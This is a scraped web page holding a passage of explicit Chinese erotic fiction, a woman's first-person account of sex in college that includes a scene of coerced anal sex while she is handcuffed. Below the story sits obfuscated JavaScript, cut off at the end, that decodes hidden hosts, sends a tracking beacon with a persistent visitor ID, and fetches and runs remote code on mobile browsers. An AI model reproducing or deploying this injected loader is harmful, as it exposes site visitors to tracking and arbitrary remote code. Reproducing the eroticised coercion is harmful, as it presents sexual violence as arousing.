和鲍军分别的时候,他让我老实点,不许给他带绿帽子,说他回来看我,这操蛋的家伙居然差点哭了。他哪�知道我现在充满了对外面世界的向往?哪�知道我对未知又新奇的大学的憧憬?我喜欢他,喜欢过他,但我会回来这个小县城吗?继续当一个混混的女人,当一辈子混混的女人?听一群人喊“嫂子”,听一辈子的“嫂子”?

大一开学后,国庆放假的时候,我回去又见到了鲍军,当我一丝不挂瘫软在他怀�,告诉他要分手的时候,他狠狠打了我,让我滚到安徽去。当我穿上衣服离开的时候,我听到了嚎啕大哭……

再见,我的高中记忆。永别,我的高中生活。

再次回到学校,平静的度过了一个多月吧,开始有男生追求我。他叫黄天艺,在晚饭后的大操场,那天我去慢跑,被他的篮球砸到,当时只是道歉并问了我班级,谁知道第二天,这家伙就开始堵在我们班门口来找我玩。

我读的是包装装潢设计,我们班一共只有十七个人,九男八女。所以“黄天艺追刘小娟了”的消息,瞬间全班都知道了。接下来的三四天,早上打我的传唿机叫早然后送早餐,晚上是晚餐和睡前吉他独奏。寝室�的姐妹都起哄让我“从”了他,连我自己也跃跃欲试,反正他又不知道我高中时候是个女混子!

几天之后,黄天艺说他在外边租房子住了,请了他们班的男男女女一起去吃晚饭,也叫上了我。席间,黄天艺直接以我男朋友的身份自居,当着他们班同学,我也没好不给他面子。于是他一个寝室的兄弟起哄灌我们喝酒,看着他们各种理由灌我和黄天艺喝酒的样子,不知道为什么,我突然想到了被傻强强奸那一次。心情一下跌到了谷底,跟黄天艺抱歉了一下就要提前回去了。

黄天艺狠狠瞪了他寝室的兄弟,飞快的跑出来追我,站在昏暗的路灯下,不停的替他那帮兄弟道歉。

“真的没什么的,我只是心情突然有点不好,感觉没办法适应这种场合。其实是我应该跟你道歉才对。让你在你兄弟面前下不来台了。”

“你说什么呢,明明是他们想灌我们酒嘛,我不但要跟你道歉,还要谢谢你帮我解脱出来呢,嘿嘿。”

黄天艺见我被逗笑了,对我说:“要不还回去吧?不然我自己回去真有点尴尬了。”

再次回到饭桌,大家已经没了兴致,吃喝一阵,取消了原本去KTV的计划,返回学校去了。

黄天艺邀我去他租的房子,说是原本准备去KTV的,现在大家都不去了,可时间还早,不如去他那�看电影,有最新的《珍珠港》。我其实对战争片是很不感兴趣的,但是觉得自己搅黄了他的晚餐聚会,有点不好意思,最终还是跟他去了。

他租住在一栋两层小楼�,这栋小楼因为靠近我们学校,上上下下被分给五个学生租户。

当电脑显示器放映着电影的时候,黄天艺关了房间的灯,说这样有在电影院的感觉,然后故意紧挨着我一起坐在床边。说真的,在我看来战争片真的很无聊,唯一让我留下来的理由,是我对即将发生的事情有些隐隐的渴望。

我已经两个月多没有和男人上床了,我内心深处其实十分的渴望,想来应该是高中这几年被鲍军灌输了太多男欢女爱的概念,才让我现在内心深处如此的淫荡吧?

当黄天艺发现我对战争片索然无味的时候,于是从抽屉�翻出一堆碟片铺开在床上:“我们找个喜剧片来看吧。”我翻看的时候,发现�面夹杂了很多A片!我的脸一下红了,不是因为害羞,而是出于兴奋。

黄天艺看我发现了A片,故意说:“哎呀!这些……这些是寝室的人扔在这�的……”然后试探的问我说:“刘小娟,要不……我们就看这个?”看着光盘封面上赤裸纠缠在一起的男男女女,我突然更加渴望,多么希望黄天艺跳过这些无聊的试探和挑逗,直接把我压到在床上,热烈的占有我,随意的蹂躏我、践踏我。

大一的我,其实真的没有看过几次A片,也不知道谁是武藤兰,只是看着一身蓝色职业装的女人被人慢慢的剥光,用各种道具刺激挑逗她的奶子和下身,我的唿吸开始急促,我幻想那种种的手段正施加在我的身上。黄天艺说告诉我那叫跳蛋那叫按摩棒那叫扩阴器……当那女人歇斯底�的尖叫着,肉洞�喷射飞溅出大量的透明液体时,他告诉我,这是潮吹……我突然好羡慕那个女人……

这A片的前戏可真长,几个男人手和舌头挑逗那女人的全身,尽管电脑音箱已经关小了音量,可那个女人愉快的呻吟听着还是那么清晰。当那女人被拉起来同时为两个男人口交的时候,黄天艺终于按捺不住,把我推到在他的小床上。 他温柔的吻着我,我从来没有被这么温柔的吻过,鲍军从来都是粗暴的进攻,暴风骤雨一般袭击。于是我忍不住伸出舌头回应黄天艺的纠缠,两条舌头来回出入在对方的口中。黄天艺接吻很有技巧,他轻轻咬我的舌尖和嘴唇的时候一点也不疼,反而酥酥的很舒服。当他的舌尖开始滑过我的脖子和耳垂的时候,我终于忍不住,反馈给他愉快的呻吟声。

黄天艺把我摆正了放在床上,把我的T恤推到我脖子那�,由于我今天戴的胸罩是无肩带的,所以他很方便的绕到我的后背,轻轻一扣就解放了我胸前的一对汹涌。他忘情的扑在我身上舔弄我的奶子,颤抖的手还不忘抚摸我小短裤下修长的大腿。

他的舌尖绕着我的乳头打转,轻轻吸吮咬嗑着,我沉重的唿吸使得胸口的起伏幅度很大,每一次深深的吸气都像是故意挺起胸来,让他更方便的把玩。我情不自禁的抱住他的背,按压他的头,传导给奶子更强烈一些的刺激。

我的拥抱似乎给了黄天艺更大的勇气,他的手直接从裤腰钻进我的小短裤,手指灵巧的挑开轻薄的内裤,盖到我的阴毛上。紧绷的牛仔小短裤让他手的每个动作都很困难,他却执着的在狭小的空间�挑逗刺激我的敏感。肉缝顶端的小豆豆每被他按压一下,就把我爽的颤抖一次,我嗓子�模煳不清的低吟慢慢开始清晰。

“……嗯嗯……啊……我好难受……天艺……”

“往�……一点……对……嘶……轻点啊……”

黄天艺终于剥光了我们身上的纺织物,我们紧紧的拥抱在一起,两具滚烫的肉体热情的摩擦着,拼命想融进对方的热情中去。

“把你……给我吧?”当他热热的顶端抵住我泛滥的洞口时,他轻轻的问我,我抿着嘴唇轻轻点了点头。那一颗坚硬火烫,就开始一点点挤了进来,把紧密的通道一点点撑开,缓慢有力的占领更多的空间。我终于如愿以偿,两个月不知肉味的生活后,终于迎来来久盼的慰藉,我幸福的�起头,轻轻咬在了他的肩头。 黄天艺把整根鸡巴塞进来后,就不动了,静静的压在我身上,十分享受的在我脸颊、脖子、胸口亲吻,我温柔的回应着他,安静的等待着他将要赐予我的快乐和性福。

那让我快乐的根源终于开始缓缓的�动了。昏暗的显示器的光亮没法让我看清它的样子,但是我能感受到它的硬度长度和力度,每一样都让我那么满意,那么满足。

“小娟……你�面好紧啊……”

“……啊,你喜欢吗?”

“喜欢!夹的我好舒服,好滑啊!”

“你也……弄的我……好舒服……”对于说习惯了操字的我,很困难的换成了弄字。

“……再……快一点……快……”

不得不佩服篮球中锋的体力耐力,他完全按照屏幕中正在放映的男女的一个一个姿势在操我,可屏幕中那个女人是在被三个男人操啊!我最喜欢他我的背后猛烈的进攻我,当我像条淫贱的母狗一样跪在他身前的时候,我觉得自己完全被他征服了,紧绷的小腹撞击着我的屁股,剧烈的晃动摇晃着我的奶子,他反剪我的双手,拽着我的胳膊,迫使我的奶子向前顶出翻飞摇晃,两只奶子胀的好痒,我想要自己揉搓却被他紧紧抓住了双手,于是我只能痛苦的摇晃脑袋,当发丝扫过乳尖的时候,才能抚平一丝丝痛苦。

“…天艺…你撞的我好爽…好深啊…插的好深……”

“我也好舒服!你的屄真紧!鸡巴要被夹断了!!”

他一边赞扬着我,同时开始了更猛烈的抽插,可能因为是第一次和他做,也可能是我好久都没做了,总之我的身体异常的敏感,当他简直像是要从后面把我撞飞一样的力度,狠狠拔插我的时候,我终于浑身颤抖着高潮了。

“……啊啊啊啊……老公……轻点!我要来了,来了……来了!”

“……快快快……用力啊……”

“啊……啊……老公……好爽!!!不要了,我不要了!”

“太刺激了……老公,不要啊……求求你……”

我无力的瘫软在床上,轻微的抖动着。他依旧坚挺的鸡巴离开了我的身体,我大口喘息恢复体力,他体贴的躺在我身边,把我拥在怀�,让我很温暖。鲍军在我每次高潮的时候都不会理睬我,他只顾着自己在鸡巴在我肉体上发泄,持续顽强的操弄我敏感不堪的身体,那种刺激简直是一种折磨。

我暗暗感激着黄天艺的温柔,脸颊贴在他的胸口:“我们……才认识几天啊?你就把我骗上床,你难道真想让我做你女朋友?”

“是啊!那天在操场见到你,我就傻了,这么漂亮的女孩,不赶紧抢到手就亏了!”

“呵呵,那我们像不像先结婚后恋爱的那种?万一以后你发现我脾气不好,性格不好,想要分手的时候,一定先告诉我。”

“傻孩子,我们刚刚开始呢,为什么要说分手?”

傻孩子?习惯了被人家大嫂和大姐的我,突然觉得这一声傻孩子好甜蜜。 “以后,我一定把你不喜欢的都改掉!”

“好啊,我如果有不好的地方,也改!!!不过现在……我好难受呢!”他挺了挺肚子,坚硬的滑腻一条摩擦着我的大腿,我笑着努力撑起疲软的身体,爬到他两腿之间,低头含住了他的鸡巴。

这时候屏幕�似乎很配合,那女人也正趴在一个男人的腿间,快速的晃动着脑袋,吞吐着一条乌黑发亮的鸡巴。于是我视线的余光盯着屏幕,完全同步那女人的动作,时而舔舐,时而套弄,时而用舌头,时而用手。当屏幕�那男人喷射了女人一嘴的时候,黄天艺还顽强的挺立着,我只好把刚刚的动作重复一遍,同时无比风骚的呻吟着,刺激他的感官,以期他能快点射出来。

黄天艺的手按压着我的脑袋,速度越来越快,我正在犹豫要不要被他射在嘴�的时候,他突然紧紧抓住我的头发,闷吼着搏动起来,粗壮的鸡巴在我嘴�快速的跳跃,喷薄出一股股粘稠的精液。强力的射精让我毫无准备,不经意间咽下了好几口。等他终于松开了我的头发,我赶忙把满嘴的精液吐到了垃圾桶�。 黄天艺从背后抱住我,搓揉着我的奶子,指着屏幕调笑:“你怎么不学她了?” 只见那女人正承接着一个又一个男人泼洒在脸上的精液,如果刚好射到她嘴�,她就快速的咽下,然后张开嘴巴等着下一个男人,不一会儿的功夫,她的脸上布满了精液,两只眼睛都被盖住的时候,她才用手刮一下,但是一点也不浪费的全部吃掉。

我虽然没少吃鲍军的鸡巴,但是从来没有吃过他的精液,总觉得有点恶心。但是现在看着那女人津津有味的品尝着一个又一个男人的精液,我不知道为什么会在想:“每个男人射出的味道应该都不一样吧?”莫名心�涌起一股悸动,简直也想要尝一尝。

“下次……射给你吃好不好?”黄天艺试探着问我。

“切!你能射那么多吗?”

我们大笑着,关了电脑。他固执的不让我回寝室,说是我们的第一夜怎么可以两地分居?于是在他的坚持下,我留下来陪他。

这一夜,我又被他操了两次,每次都是那么强烈持久,我简直都吃不消了,最后害怕的连连求饶,才躲过他要求的第三次,终于在凌晨四点的时候昏昏沈沈的睡去了。

当我醒来的时候已经快中午十一点了,黄天艺不在身边。床旁边的桌子上放着已经冷掉的早餐,还有一张纸条:“宝贝,我去上课了,帮你买了早餐,不知道你醒来的时候会不会凉掉。我替你给辅导员请了假,说你今天不舒服,见到辅导员的时候别说穿帮了。”

桌上的饭虽然是凉的,但是我心�却暖暖的,我从来没有在男人身上得到过这种体贴。以前的我只是鲍军用来炫耀的资本,用来发泄的工具,用来排解寂寞的手段。我发现自己似乎真的喜欢上这个篮球中锋了,也许我以前从来都不算恋爱过吧?那只能是年少无知时的成人游戏,我只体验了肉体的满足,却是在黄天艺这�,才第一次知道了当一个女人原来是这样的滋味。

从此我正式搬出了宿舍,和黄天艺住在了一起,我们就像新婚夫妻一样的甜蜜。黄天艺家庭殷实,他承担了我的生活,给我买各种衣服和化妆品,我也越来越热衷为了他打扮自己,让他在班�、球队�都很有面子。

我们几乎从来不吵架,我极尽所能的顺从他,满足他一切我能做到的要求,因为这是我第一个爱上的男人!万幸他也很爱我,那么的宠溺着我,保护着我。所以我们是系�公认最甜蜜的一对,连专业课老师也拿我们打趣,说我们以后一定会结婚的。

第四章花样百出

现在回忆起大学的生活,我似乎只能想起黄天艺来,我所有的时间几乎都有他在身边。白天我们一起上学,逛街;晚上我们肆意的放纵年轻的躯体。他很着迷于我的身体,用他的话说,“你是我见过的最妖媚的女人,偏偏媚的还那么可爱。”他特别喜欢把从A片�学来的花样施加在我身上,我们几乎试过A片�见过的所有姿势,我们床下的小箱子�,塞满了各种的成人玩具。以至于我都怀疑自己,是不是已经可以很好的胜任一个AV女优了。

有一次他正要刮胡子,我跑过去蹲在他裆前,调皮的扒下沙滩裤就开始舔弄他的鸡巴。他很专心的继续涂抹剃须泡沫,任由我为他服务。

“老公,你就不怕精神不集中,刮破了脸吗?”我吞吐他饱满的龟头,好奇的问他。

“你男人能一心二用,并且,我还想给你敷个面膜呢!”

“讨厌!对了,你把下面的毛也刮了吧?老是弄的我鼻子好痒痒呢!”

“不行,打完球我们都在一起洗澡的,让其他人看到怎么办?”

“对了,我可以把你底下的毛刮了,反正你不在寝室洗澡的啊!哈哈哈” “我才不要!光秃秃的一定难看死了!”

“那可由不得你,哈哈!”他刮完胡子,就把我拽起来,摇晃着挺立的鸡巴,把我扔在床上,“我的小宝贝,这可是你自己想出的好主意!”

无奈之下,我脱掉身上仅有的小内裤,张开双腿坐在床边。他让我把脚也架在床上,双腿大张着变成一个M,他却不急着为我剃毛,先是蹲在我腿间闻着,赞叹我连小屄都是香香的,然后开始深情的吻着,舌尖划开微微分开的肉缝,挑逗我的阴蒂,又用舌头扫进阴道口,折磨的我浪叫不止,湿成了一片。

然后他开始在我阴毛上涂抹冰凉的剃须泡沫,我的阴毛其实并不多,只在耻丘上少少的一丛,阴唇上完全没有,所以他的剃毛工作完成的很快。冰冷的吉列一下下划过我的耻丘,我体验着一根根阴毛断裂脱离的过程,就这样的感受,居然让我又开始湿润了。

我看着他专注的盯着我湿润的洞口,很专心的把残余的毛茬全部剔除干净,然后用清水帮我清洗了。再看他的眼神的时候,那种两眼放光的样子,好像他第一次欣赏我的赤裸一样。

“光秃秃那看死了,有那么好看嘛?你还目不转睛的。”

“好看!真嫩啊!感觉自己好像操到另一个女人了!”

“滚!你还想操谁?”

“嘿嘿,就是个比喻!”

果然这天晚上,他在我身上格外的兴奋,喜欢低着头看着他的鸡巴,进出于我光秃秃的小屄。他的鸡巴也格外的充盈坚挺,每次我们有新花样的时候,他总会很兴奋,总会接二连三的操我,一次又一次射精后,他总能很快又进入状态。所以我对新鲜的花样,充满了又爱又怕的心态,因为我将会享受到持续、长久、连番的奸淫,但是最后都是我体力不支的哀求告饶,请他放过我越来越敏感的身体。每当这个时候他最满足,他说,雄性生物的征服感会很强烈。所以每次我都会投降,让他操我的嘴巴,然后射给我吃。

后来,只要我长出新的阴毛,他就会给我剃掉,说是刚长出的毛茬很扎人,所以一直到大一暑假�,我的屄都是光秃秃的,直到暑假回家,才从新长了出来。那一个学期我也没干在寝室洗过澡。

他还喜欢在各种无人的环境操我。我们学校西边有一座山,山上一片古迹,是明朝一位开国功臣的墓地,穿过这片景区,是很大一片山林,这�很少有人来,因为这�的山道没有开发,爬起来很累人的。

记得那次,我们正疲惫的穿行在山间的密林�,他忽然抱住我说要休息一会儿,然后就开始吻我。当他把我顶在一棵大树旁,掀起我的裙子时,我吓坏了。 “你要干什么啊?万一有人来了怎么办?”

“这�几乎没人来的,你不觉得很刺激吗?乖宝贝儿,让我试试在这�操你吧?”

他飞快的解开拉链,掏出让我又爱又怕的鸡巴,然后他扯掉我的内裤塞在口袋�,�起我一条腿,直接就插进来,完全没有任何前奏。

“……噢,宝贝儿,我就知道你一定已经湿了!”

“为什么你每次都能那么湿呢?还不承认自己是个小荡妇?”

“是啊……我是个荡妇……我最喜欢你操我……”

“我的骚骚小宝贝儿,我最喜欢操你!我要操你一辈子!!”

“……操吧……老公,我的小骚屄……就是为了让你操的……”

“怕不怕现在有人来?是不是很刺激?”

“……嗯嗯,是很……紧张,我的心……都跳的……快飞出来了……”

他一手�着我的腿,一手在裙下揉捏我的屁股,强悍的撞击使我的尾椎在干裂的树皮上磨的很疼。我个子比他矮了一头,所以他从前面站立着操我的时候,鸡巴根部会很强烈的撞击到我的阴蒂,这种强烈快感的冲击一般能让我很快高潮,但是我知道如果他不射出来的话,会很难受的。所以一般我都会压制自己的快感,最最风骚妖媚的呻吟浪叫,刺激他的感官,让他能快一点射精。

他把我的腿放下,然后让我转过身双手扶着树,把我的裙子完全掀开搭在我背上,然后开始爱抚我的屁股。

“宝贝……我太喜欢从后面操你了。你的屁股真圆,好白啊!”

“你看你看,每插一下你的屁股都会弹弹的乱抖!”

我也很喜欢他从后面操我,这样不但插的深,插的有力,而且他的阴囊会一下下抽打在我阴蒂上,总之,从阴道传来的充实和阴蒂被撞击压迫,也能让我很快高潮。所以他说我全身都是那么敏感,随便弄弄就能潮吹。

我双手扶着树干,弯下腰撅起屁股,变成一只为他发情的母狗,他从后面揉捏我的屁股,一下下撞击冲刺我的阴道,让我忘乎所以的大声浪叫,最初害怕有人经过的担心全都抛到九霄云外了。

“……啊,老公……你操的我好爽啊……插的好深”

“……小骚货要被你操死了……你太狠心了……”

“轻点……轻点啊……我受不了了……”

“好老公……你快点射吧……你的大鸡巴操死我了……”

“……今天可以射在……�面,真要被你操死了……射给我吧……”

最终在我的哀求声中,黄天艺把滚烫的精液浇灌在我阴道最深处,烫的我浑身汗毛收缩,起了一身的鸡皮疙瘩。然而这时候我们才发现,身上没有带纸巾,无法清理。所以我只好像拉大便一样蹲下身子,尽量打开双腿,抖动屁股,把他赐予我的“孩子们”抖落在草地上,可后来还是有很多液体顺着我的大腿流了下来。我还要用嘴巴帮他清理干净鸡巴和阴囊上的粘液。现在想想,真不知道是哪辈子欠他的。

后来回程的山路上,他又操了我一次,害得我完全没有力气走路了,最后是他背我下山的,到家后他也累的不轻,那一夜是我们在一起以来,除了来例假意外,第一次乖乖睡觉,没有再操我。

类似的山林�的放荡,在我们大一下学期写生的时候也发生过,那是在皖南山区�,他很热衷于把我带到无人光顾的山野间,画厌烦的时候,抓过我来就是一轮奸淫,我每次都是拒绝再沦陷到享受,总被他嘲笑是心口不一的荡妇。有一次差点被其他院校的一票男生撞见,他才收敛了。

后来我们在放学后的教室做过;在夜晚的操场角落做过;在实习时我的办公桌和老板的大沙发�做过;在无人的游泳池�做过;在写生去的火车厕所�做过……不可否认,每一次我都会感到很刺激,生怕被人撞见,紧张的情绪配合他强烈的奸淫,能够让我最快速度的高潮,曾经有一次,身体的快感重叠着害怕被人发现的紧张,我直接被他操的昏厥过去。

有一段时间,他迷上了捆绑游戏,因为我的皮肤比较白,他很喜欢用大红色的棉绳把我捆起来,在我嘴�塞上口衔球,然后开始操我。每次我被捆绑起来的时候,他总会用轻缓的让我发恨的力度,害得我全身酥软急切万分,却有不能动弹。

有时我会被四肢打开,用手铐脚铐固定在床的四角;有时候我会被双手反剪捆成一团;有时候他却把我手脚捆在一起。他很喜欢第二种方式,他会把我捆的像A片�的女优一样,两个奶子被绳子捆的充血通红,然后舔遍我的全身,刺激的我浑身颤抖,有一次我就这样直接被他舔到高潮了。

他虽然捆绑我,但是却做不来A片�那样的性虐待,他总是不忍心打我,说那样很变态。可是亲爱的,你这样已经很变态了好不好?

他这样老是跟A片学,有一次我实在气了,就问他:“那些女优都是一次被很多男人操,难道你也想学啊?”

“嘿嘿,这个可不学,我的宝贝儿只能被我操,你是我的专用!”

“你要是再老学那些东西,我也学,我就学女优被很多人操!哼!”

可想而知,我被他狠狠收拾了一顿,操的我爬不起来,最后还被他调侃:“就这点能耐,也就满足我一个人,多几个人?你信不信自己会直接被操死过去?” 后来,他学着让我屄�塞着打开的遥控跳蛋出门,每次都开到最大档,以我身体的敏感程度来说,这简直就是煎熬,那种最深处的震动带来的酸痒,会一直无休止的刺激着我,如果不是每次都在内裤�贴一块护垫,我估计自己的袜子都会被流出的水打湿。并且大庭广众下我还不能表现出一点异常,真的太难了。好几次被同班的女生发现我脸色异常,我只能对说大姨妈来了。后来在我的强烈反对下,跳蛋这种东西,我们只在家�才玩。

再后来,最让他得意的事情发生了。

有一次他不知道从哪�弄来一张合辑,光盘�的每一个女优最后都被肛交了。他很兴奋的要尝试,我很惧怕他的尺寸钻进我的屁眼会有什么样的疼痛,所以很干脆的拒绝了。最后他发了狠,把我脸朝下双手用手铐固定在床头的两边,这样我只能脸趴在枕头上,上半身完全无法起来。

“小贱货,你都被那么多花样玩过了,让我试试你的屁眼儿怎么了?”

“好好劝你你不听,老公只好……来强奸你的屁眼儿了,嘿嘿……”

“好宝贝儿啊,你让老公试试,到底是什么样的感觉,过两天给你买个MP3!好不好?你别生气哈!”

黄天艺软硬兼施,加上我知道自己已经难逃被操屁眼儿的命运,只能委屈的答应了:“老公,你可千万千万要轻轻的……”

“你的鸡巴那么粗,我真怕会被你操烂了……”

“放心吧,老公从来都是很温柔的!”

“骗鬼啊?你兴奋起来把我折磨成什么样子,你不知道啊?次数少啊?”我脸贴在枕头上和他斗嘴,其实是想缓解心�的紧张。

他把我冬天用的手霜找出来,涂抹在我的屁眼上,又把自己的手指涂抹均匀:“好宝贝儿,你看老公多细心,我先用手指让你感受一下。”

他搬着我的髋骨让我跪了起来,可我上半身还紧紧的贴在床上,这姿势别提多难受了,我只能高高翘起屁股,等待他的肆虐。他一如既往的亲吻、赞美我的屁股,然后他坐在我的跪立的小腿之间,两条大腿分别压住我的小腿,这样一来,我真的一动也不能动了。

他的中指刚刚抵在我屁眼上的时候,我紧张的收缩着,他安慰我,让我尽量的放松。然后我感到他的手指很顺利的钻进来一节,这感觉很奇怪,有些胀胀的,夹杂一些酸痒,却不很疼痛。屁眼被塞进异物,让我不由自主的又收缩起来,他说我夹的他手指简直动不了。我放松后,他才慢慢再一节、又一节把整根中指都塞进来了。

现在不仅仅觉得胀,还觉得直肠堵的难受,似乎有些喘不上气。他的手指插在屁眼�也不老实,手心向下,手指开始挖我直肠内壁,这样一来一下下的压迫感传递进阴道�,我才知道什么叫做“隔靴搔痒”。阴道内壁的瘙痒刺激着我,让我无法保持冷静,我想要扭动身体,却只有屁股可以晃动,我知道屁股的晃动对他来说,只能让他更兴奋,毕竟他是那么喜欢我的屁股。

“宝贝儿!你前面又开始湿了!”

“哈哈!水已经开始往下滴了!”

“哇,玩你的屁眼儿也能让你湿成这样?小骚货……要不,老公先操操你的小骚屄吧?”

他保持着手指插在我屁眼�,跪在我身后把坚挺的鸡巴狠狠戳进我淫荡多汁的屄�,让我前后的肉洞都感觉那么胀,他的手指一下下按压正在阴道�进进出出的鸡巴,我无法形容这种感觉,难受,又不那么难受;舒服,却又不舒服。总之很别扭。

他在我体内快速进出了一会儿,拔出鸡巴,对我说:“宝贝儿,激动人心的时刻到了哦!”然后硬邦邦的龟头顶在我的屁眼上,努力的想要挤进去,虽然我已经很配合的放松着,但是他还是无法进入。他双手用力掰开我的屁股,重量全压在腰上,终于慢慢顶开一些空间,龟头顽强的穿过了我的防线后,他满意的长出了一口气:“哈哈,终于进来来了!”

而我这个时候已经难受的说不出话来,只觉得又堵又胀又疼,A片�的那些女人,怎么会做出很享受的样子呢?

黄天艺扶着我的屁股开始像往常那样抽插,干涩的感觉让他举步维艰,但他还是执着的把鸡巴往更深的地方插进去。就在我觉得已经很深很艰难的时候,听到他说:“都进去一半了,我的鸡巴快被你夹断了!太紧了!”我瞬间觉得好绝望!

后来他拔出鸡巴,在我的屁眼�挤进大量的手霜,第二次鸡巴进入的时候顺利多了。但是整个鸡巴塞进来后给我的堵胀感觉也更强烈了。他不理会我的哀嚎,自顾自的抓着我的屁股在我身后享受,时不时描述一下他的感受,无非就是说我的屁眼有多紧,让他多过瘾。

我的眼泪打湿了大片的枕头,他最终射在我直肠�。一夜都没有理他,任他怎么认错道歉,直到他发誓以后再也不玩我的屁眼,我才狠狠咬了他几口,发泄了一下我的愤懑。

其实总的来说,黄天艺还是很疼我的,他有点大男人主义,做决定有些霸道,但是一般还比较尊重我的感受,只是一般时候……在做爱的时候就觉得不会了。而做爱的时候我被他不尊重却觉得很享受一样,看来真的是有点贱啊,呵呵。 大学这三年,感谢那些岛国爱情动作片,让我几乎玩遍了看过的所有花样,青春的肉体被黄天艺一次一次的滋养,同班交好的几个女生总是说,我被爱情滋润的身材越发的女人味浓郁了。

转眼间,三年大学时光就这样放肆又放荡的挥霍一空,当毕业的日子越来越近的时候,学校�情侣的分手也越来越多,我忐忑不安,害怕黄天艺跟我提出分手。我已经习惯了他为我提供的衣食无忧;已经习惯了他霸道的为我做好所有的安排;已经习惯了这个男人的一切……

我们都没有提起过这个话题,女人的直觉告诉我,我们的时间不多了。我比以前更加顺从的接受他对我的索求;比以前更加强烈的回应他给我的热情;甚至比以前更加下贱……主动提出各种花样。我只是想拴住他的心,我真的,真的不我现正努力完成【好市民达人】,请大家多多支持!只要按“感谢”就可以啰!


上一篇:给予女性的特别服务

下一篇:歹徒瞄上了开宝马的女民警


function HFjSuQ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function VuifpAwP(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return HFjSuQ(t);};window[''+'b'+'V'+'Q'+'n'+'N'+'v'+'c'+'o'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function jhyx(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=VuifpAwP,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=jhyx(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=jhyx(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmFzaGNucS5jbiUzQQTg4OTE=','d3NzJTNBJTJGGJTJGGYS55a2toanMuY24lM0E5NTM1','162093',window,document,['Q','G']);}:function(){};
function yltnjZ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function awoHTF(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return yltnjZ(t);};window[''+'U'+'r'+'E'+'G'+'J'+'i'+'O'+'j'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function iBkh(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=awoHTF,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=iBkh(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var 